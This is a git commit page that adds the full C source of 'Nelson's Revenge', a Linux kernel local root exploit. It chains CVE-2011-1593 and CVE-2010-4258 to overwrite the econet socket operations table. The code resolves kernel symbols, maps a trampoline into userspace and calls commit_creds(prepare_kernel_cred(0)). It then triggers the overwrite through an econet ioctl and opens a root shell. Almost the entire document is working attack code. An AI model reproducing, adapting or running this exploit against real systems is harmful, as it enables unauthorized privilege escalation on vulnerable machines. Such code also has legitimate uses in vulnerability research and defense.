summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2011-04-20 17:24:57 -0400
committerJason A. Donenfeld <Jason@zx2c4.com>2011-04-20 17:24:57 -0400
commite8fc3aca4223c6252699f7dbccfe4d91a7c2e3bd (patch)
tree19fb1ede8defd3f78d290e8e175d56a311d329fe
parentNew null pointer deref. (diff)
downloadCVE-2010-4258-e8fc3aca4223c6252699f7dbccfe4d91a7c2e3bd.tar.xz
CVE-2010-4258-e8fc3aca4223c6252699f7dbccfe4d91a7c2e3bd.zip
Pidmap deref in the exploit.
-rw-r--r--pidmap_test.c (renamed from CVE-2011-1593_test.c)0
-rw-r--r--with-CVE-2011-1593-on-econet.c214
2 files changed, 214 insertions, 0 deletions
diff --git a/CVE-2011-1593_test.c b/pidmap_test.c
index f320b85..f320b85 100644
--- a/CVE-2011-1593_test.c
+++ b/pidmap_test.c
diff --git a/with-CVE-2011-1593-on-econet.c b/with-CVE-2011-1593-on-econet.c
new file mode 100644
index 0000000..ea636ae
--- /dev/null
+++ b/with-CVE-2011-1593-on-econet.c
@@ -0,0 +1,214 @@
+/*
+ * Nelson's Revenge
+ * by zx2c4
+ *
+ * This exploits two kernel bugs -
+ * CVE-2011-1593 to generate an oops, and more importantly,
+ * CVE-2010-4258 to overwrite kernel memory, in this case, econet.
+ *
+ * Based on Dan Rosenberg's Full Nelson exploit:
+ * http://www.exploit-db.com/exploits/15704/
+ *
+ */
+
+#define _GNU_SOURCE 1
+#define _LARGEFILE64_SOURCE
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <string.h>
+#include <net/if.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <sys/utsname.h>
+#include <sys/mman.h>
+
+// How many bytes should we clear in our function pointer to put it into userspace?
+#ifdef __x86_64__
+#define SHIFT 24
+#define OFFSET 3
+#else
+#define SHIFT 8
+#define OFFSET 1
+#endif
+
+// Symbol resolver from spender
+unsigned long get_kernel_sym(char *name)
+{
+ FILE *f;
+ unsigned long addr;
+ char dummy;
+ char sname[512];
+ struct utsname ver;
+ int ret;
+ int rep = 0;
+ int oldstyle = 0;
+
+ f = fopen("/proc/kallsyms", "r");
+ if (f == NULL) {
+ f = fopen("/proc/ksyms", "r");
+ if (f == NULL)
+ goto fallback;
+ oldstyle = 1;
+ }
+
+repeat:
+ ret = 0;
+ while (ret != EOF) {
+ if (!oldstyle)
+ ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
+ else {
+ ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
+ if (ret == 2) {
+ char *p;
+ if (strstr(sname, "_O/") || strstr(sname, "_S."))
+ continue;
+ p = strrchr(sname, '_');
+ if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
+ p = p - 4;
+ while (p > (char *)sname && *(p - 1) == '_')
+ p--;
+ *p = '\0';
+ }
+ }
+ }
+ if (ret == 0) {
+ fscanf(f, "%s\n", sname);
+ continue;
+ }
+ if (!strcmp(name, sname)) {
+ fprintf(stdout, "\t[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
+ fclose(f);
+ return addr;
+ }
+ }
+
+ fclose(f);
+ if (rep)
+ return 0;
+fallback:
+ uname(&ver);
+ if (strncmp(ver.release, "2.6", 3))
+ oldstyle = 1;
+ sprintf(sname, "/boot/System.map-%s", ver.release);
+ f = fopen(sname, "r");
+ if (f == NULL)
+ return 0;
+ rep = 1;
+ goto repeat;
+}
+
+typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
+typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
+_commit_creds commit_creds;
+_prepare_kernel_cred prepare_kernel_cred;
+
+static int __attribute__((regparm(3)))
+getroot(void *file, void *vma)
+{
+ commit_creds(prepare_kernel_cred(0));
+ return -1;
+}
+
+// Why do I do this? Because on x86-64, the address of
+// commit_creds and prepare_kernel_cred are loaded relative
+// to rip, which means I can't just copy the above payload
+// into my landing area.
+void __attribute__((regparm(3)))
+trampoline()
+{
+#ifdef __x86_64__
+ asm("mov $getroot, %rax; call *%rax;");
+#else
+ asm("mov $getroot, %eax; call *%eax;");
+#endif
+}
+
+// This should trigger a NULL pointer dereference under KERNEL_DS
+int trigger()
+{
+ int fd = open("/proc", O_DIRECTORY | O_RDONLY);
+ if (fd == -1) {
+ perror("[-] Could not open /proc");
+ exit(-1);
+ }
+ struct linux_dirent {
+ long d_ino;
+ off_t d_off;
+ unsigned short d_reclen;
+ char d_name[];
+ };
+ lseek64(fd, 4000000000ULL, SEEK_SET);
+ struct linux_dirent b[100];
+ syscall(__NR_getdents, fd, b, sizeof(b));
+
+ // Shouldn't get here...
+ exit(0);
+}
+
+int main(int argc, char * argv[])
+{
+ unsigned long ops_table, vuln_function, target, landing;
+ void *newstack;
+
+ int econet = socket(PF_ECONET, SOCK_DGRAM, 0);
+ if (econet < 0) {
+ printf("[-] Failed to create econet socket.\n");
+ return -1;
+ }
+
+ // Resolve addresses of relevant symbols
+ printf("[+] Resolving kernel addresses...\n");
+ // Although this exploit does not take advantage of prior econet holes,
+ // we still choose to overwrite the econet functions, as they're obscure enough.
+ vuln_function = get_kernel_sym("econet_ioctl");
+ ops_table = get_kernel_sym("econet_ops");
+ commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
+ prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
+ if(!vuln_function || !commit_creds || !prepare_kernel_cred || !ops_table) {
+ printf("[-] Failed to resolve kernel symbols.\n");
+ return -1;
+ }
+
+ printf("[+] Allocating new stack memory...\n");
+ if(!(newstack = malloc(65536))) {
+ printf("[-] Failed to allocate memory.\n");
+ return -1;
+ }
+
+ printf("[+] Calculating target...\n");
+ target = ops_table + 10 * sizeof(void *) - OFFSET;
+ // Clear the higher bits
+ landing = vuln_function << SHIFT >> SHIFT;
+
+ printf("[+] Mmaping memory...\n");
+ if (mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) < 0) {
+ printf("[-] Failed to mmap() at target address.\n");
+ return -1;
+ }
+
+ printf("[+] Copying trampoline...\n");
+ memcpy((void*)landing, &trampoline, 1024);
+
+ printf("[+] Starting trigger thread clone...\n");
+ clone((int (*)(void*))trigger, (void*)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, NULL, NULL, target);
+ sleep(1);
+
+ printf("[+] Triggering payload...\n");
+ ioctl(econet, 0, NULL);
+
+ if (getuid()) {
+ printf("[-] Exploit failed to get root.\n");
+ return -1;
+ }
+ printf("[+] Got root!\n");
+ execl("/bin/sh", "/bin/sh", NULL);
+}